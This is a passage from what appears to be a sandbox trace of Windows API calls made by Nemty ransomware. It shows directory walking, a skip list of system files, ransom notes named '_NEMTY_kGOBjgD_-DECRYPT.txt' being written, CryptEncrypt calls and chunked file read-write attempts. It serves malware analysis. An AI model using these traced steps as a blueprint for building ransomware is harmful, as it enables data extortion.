hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94268 | out: hHeap=0x4f90000) returned 1 [0083.161] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0083.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.163] FindNextFileW (in: hFindFile=0x3423a30, lpFindFileData=0x653f008 | out: lpFindFileData=0x653f008*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xaa86cdff, ftLastAccessTime.dwHighDateTime=0x1cbf8eb, ftLastWriteTime.dwLowDateTime=0xa12338ef, ftLastWriteTime.dwHighDateTime=0x1cbf8eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xd, dwReserved1=0x4f90000, cFileName="ResizingPanels", cAlternateFileName="RESIZI~1")) returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2=".") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="..") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="...") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="windows") returned -1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="$RECYCLE.BIN") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="rsa") returned -1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="NTDETECT.COM") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="ntldr") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="MSDOS.SYS") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="IO.SYS") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="boot.ini") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="boot.ini") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="AUTOEXEC.BAT") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="ntuser.dat") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="desktop.ini") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="CONFIG.SYS") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="RECYCLER") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="BOOTSECT.BAK") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="bootmgr") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="programdata") returned 1 [0083.163] lstrcmpiW (lpString1="ResizingPanels", lpString2="appdata") returned 1 [0083.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ResizingPanels", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0083.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ResizingPanels", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResizingPanels", lpUsedDefaultChar=0x0) returned 14 [0083.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ResizingPanels", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0083.163] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="ResizingPanels", cchWideChar=14, lpMultiByteStr=0x653ef10, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ResizingPanels", lpUsedDefaultChar=0x0) returned 14 [0083.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.163] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.163] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94268 [0083.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0083.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0083.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0083.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.164] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ecb8, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f942f0 [0083.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.164] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x6340048 [0083.164] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f942f0 | out: hHeap=0x4f90000) returned 1 [0083.164] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0083.171] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.171] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.171] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eec0, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eec0*=0xef8, lpOverlapped=0x0) returned 1 [0083.172] CloseHandle (hObject=0x3cc) returned 1 [0083.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f941c0 | out: hHeap=0x4f90000) returned 1 [0083.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f941c0 [0083.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f942f0 [0083.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94378 [0083.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xef8) returned 0x634ad48 [0083.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 16 [0083.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.172] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x401f9c, cbMultiByte=16, lpWideCharStr=0x4f9ed08, cchWideChar=16 | out: lpWideCharStr="_NEMTY_kGOBjgD_") returned 16 [0083.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed08 | out: hHeap=0x4f90000) returned 1 [0083.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0083.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.172] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xee) returned 0x63400f0 [0083.172] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6340048 | out: hHeap=0x4f90000) returned 1 [0083.173] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\_NEMTY_kGOBjgD_-DECRYPT.txt" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\_nemty_kgobjgd_-decrypt.txt"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x3cc [0083.173] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0083.173] SetFilePointer (in: hFile=0x3cc, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0083.173] WriteFile (in: hFile=0x3cc, lpBuffer=0x634ad48*, nNumberOfBytesToWrite=0xef8, lpNumberOfBytesWritten=0x653eb80, lpOverlapped=0x0 | out: lpBuffer=0x634ad48*, lpNumberOfBytesWritten=0x653eb80*=0xef8, lpOverlapped=0x0) returned 1 [0083.174] CloseHandle (hObject=0x3cc) returned 1 [0083.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x634ad48 | out: hHeap=0x4f90000) returned 1 [0083.174] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0083.174] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x80) returned 0x4f94378 [0083.174] FindFirstFileW (in: lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\*.*", lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe53706d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe53706d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName=".", cAlternateFileName="")) returned 0x3423a70 [0083.175] lstrcmpiW (lpString1=".", lpString2=".") returned 0 [0083.175] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xa119af33, ftCreationTime.dwHighDateTime=0x1cbf8eb, ftLastAccessTime.dwLowDateTime=0xe53706d0, ftLastAccessTime.dwHighDateTime=0x1d561e7, ftLastWriteTime.dwLowDateTime=0xe53706d0, ftLastWriteTime.dwHighDateTime=0x1d561e7, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="..", cAlternateFileName="")) returned 1 [0083.175] lstrcmpiW (lpString1="..", lpString2=".") returned 1 [0083.175] lstrcmpiW (lpString1="..", lpString2="..") returned 0 [0083.175] FindNextFileW (in: hFindFile=0x3423a70, lpFindFileData=0x653ecc8 | out: lpFindFileData=0x653ecc8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7091adcb, ftCreationTime.dwHighDateTime=0x1ca03fb, ftLastAccessTime.dwLowDateTime=0x7091adcb, ftLastAccessTime.dwHighDateTime=0x1ca03fb, ftLastWriteTime.dwLowDateTime=0x4efa391f, ftLastWriteTime.dwHighDateTime=0x1c9ea0f, nFileSizeHigh=0x0, nFileSizeLow=0x11da, dwReserved0=0x11, dwReserved1=0x4f90000, cFileName="1047x576black.png", cAlternateFileName="")) returned 1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2=".") returned 1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="..") returned 1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="...") returned 1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="windows") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="$RECYCLE.BIN") returned 1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="rsa") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="NTDETECT.COM") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntldr") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="MSDOS.SYS") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="IO.SYS") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="boot.ini") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="AUTOEXEC.BAT") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="ntuser.dat") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="desktop.ini") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="CONFIG.SYS") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="RECYCLER") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="BOOTSECT.BAK") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="bootmgr") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="programdata") returned -1 [0083.175] lstrcmpiW (lpString1="1047x576black.png", lpString2="appdata") returned -1 [0083.175] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.175] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0083.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0083.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345640 [0083.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0083.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0083.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ecb8 | out: hHeap=0x4f90000) returned 1 [0083.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345640 | out: hHeap=0x4f90000) returned 1 [0083.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0083.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ecb8 [0083.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ecb8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0083.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x30) returned 0x6345608 [0083.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0083.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed08 [0083.176] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="1047x576black.png", cchWideChar=17, lpMultiByteStr=0x4f9ed08, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="1047x576black.png", lpUsedDefaultChar=0x0) returned 17 [0083.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345608 | out: hHeap=0x4f90000) returned 1 [0083.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x6340048 [0083.176] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f94378 | out: hHeap=0x4f90000) returned 1 [0083.176] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0xa0) returned 0x4f94378 [0083.176] Sleep (dwMilliseconds=0x5) [0083.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5396830, dwHighDateTime=0x1d561e7)) [0083.177] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x653eae4 | out: lpSystemTimeAsFileTime=0x653eae4*(dwLowDateTime=0xe5396830, dwHighDateTime=0x1d561e7)) [0083.177] GetLastError () returned 0xb7 [0083.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x40) returned 0x6345e38 [0083.177] GetLastError () returned 0xb7 [0083.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed58 [0083.177] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x6345e38 | out: hHeap=0x4f90000) returned 1 [0083.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x20) returned 0x4f9ed30 [0083.177] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x653e920*=0x0, dwBufLen=0x0 | out: pbData=0x0*, pdwDataLen=0x653e920*=0x100) returned 1 [0083.177] CryptEncrypt (in: hKey=0x3423770, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x653e924*, pdwDataLen=0x653e910*=0x10, dwBufLen=0x100 | out: pbData=0x653e924*, pdwDataLen=0x653e910*=0x100) returned 1 [0083.177] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x0, pcchString=0x653e91c | out: pszString=0x0, pcchString=0x653e91c) returned 1 [0083.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x165) returned 0x63400f0 [0083.177] CryptBinaryToStringA (in: pbBinary=0x653e924, cbBinary=0x100, dwFlags=0x1, pszString=0x63400f0, pcchString=0x653e91c | out: pszString="cJ2N679fyTNhG9+i1aERZEa03KP6QU3JZRCflAc5ikzVgDvR0VMwnfBgSFEVA8aC\r\nGfbRibf4gWFPnk2ubHN5PpclfK4YUWW172kJimn56eyo058GZMwI+N3MXP31AhHu\r\nc5k2CuTrnQuGgP5P0mNwxyh9sqCsFWwbhJreChK1MNBFopz2nzOufW2uy99U+3hM\r\nuKNh3YfpSc2tUtsoJIGUXPnXvs3yLPIwTfkN+fjjJSI6p1B+bjd5ioNoZIvExxBT\r\nrIuloa1hbQybup/i/6rtgUzBYkqF2RHjCVQCY51qWrm44R+UkGK3jVyc95IvV6NF\r\n1RtXkcPNYav2gNLTluE/DQ==\r\n", pcchString=0x653e91c) returned 1 [0083.177] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348d60 [0083.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x63400f0 | out: hHeap=0x4f90000) returned 1 [0083.178] HeapFree (in: hHeap=0x4f90000, dwFlags=0x0, lpMem=0x4f9ed30 | out: hHeap=0x4f90000) returned 1 [0083.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x10) returned 0x4f94420 [0083.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x167) returned 0x63400f0 [0083.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x170) returned 0x6348ed8 [0083.178] CreateFileW (lpFileName="C:\\Program Files\\DVD Maker\\Shared\\DvdStyles\\ResizingPanels\\1047x576black.png" (normalized: "c:\\program files\\dvd maker\\shared\\dvdstyles\\resizingpanels\\1047x576black.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xffffffff [0083.178] GetFileSizeEx (in: hFile=0xffffffff, lpFileSize=0x653eb70 | out: lpFileSize=0x653eb70*=18150282790955940) returned 0 [0083.178] RtlAllocateHeap (HeapHandle=0x4f90000, Flags=0x0, Size=0x27100) returned 0x634ad48 [0083.178] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.178] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51481554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.187] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.187] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.188] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51641554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.197] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.197] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.197] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51801554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.207] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.207] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.207] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=51961554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.216] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.216] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.216] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52121554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.226] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 [0083.226] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.226] ReadFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToRead=0x27100, lpNumberOfBytesRead=0x653eb64, lpOverlapped=0x0 | out: lpBuffer=0x634ad48, lpNumberOfBytesRead=0x653eb64*=0x0, lpOverlapped=0x0) returned 0 [0083.236] SetFilePointer (in: hFile=0xffffffff, lDistanceToMove=52281554, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0xffffffff [0083.236] WriteFile (in: hFile=0xffffffff, lpBuffer=0x634ad48, nNumberOfBytesToWrite=0x0, lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0 | out: lpNumberOfBytesWritten=0x653eb5c, lpOverlapped=0x0) returned 0 